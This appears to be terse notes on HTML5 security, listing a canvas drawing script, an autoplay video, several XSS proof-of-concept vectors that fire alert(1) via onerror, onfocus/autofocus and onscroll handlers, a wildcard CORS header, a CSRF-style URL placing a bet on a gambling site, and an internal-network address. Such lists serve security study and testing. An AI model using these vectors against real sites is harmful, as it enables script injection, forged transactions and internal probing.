<canvas id="canvas" width="838" height="220"></canvas> <script> var canvasContext = document.getElementById("canvas").getContext("2d"); canvasContext.fillStyle= "red"; canvasContext.fillRect(250, 25, 150, 100); canvasContext.fillStyle= "blue"; canvasContext.beginPath(); canvasContext.arc(450, 110, 100, 0, Math.PI * 2, false); canvasContext.fill(); </script>
<video id="video" src="movie.mp4" autoplay controls></video> document.getElementById("video").play();
<video><source onerror="javascript:alert(1)">
<input onfocus=alert(1) autofocus>
<body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
Access-Control-Allow-Origin: *
http://www.gamblingSite.org/youraccount.php?race=1&horse=2&bet=1000
http://192.168.1.1:1234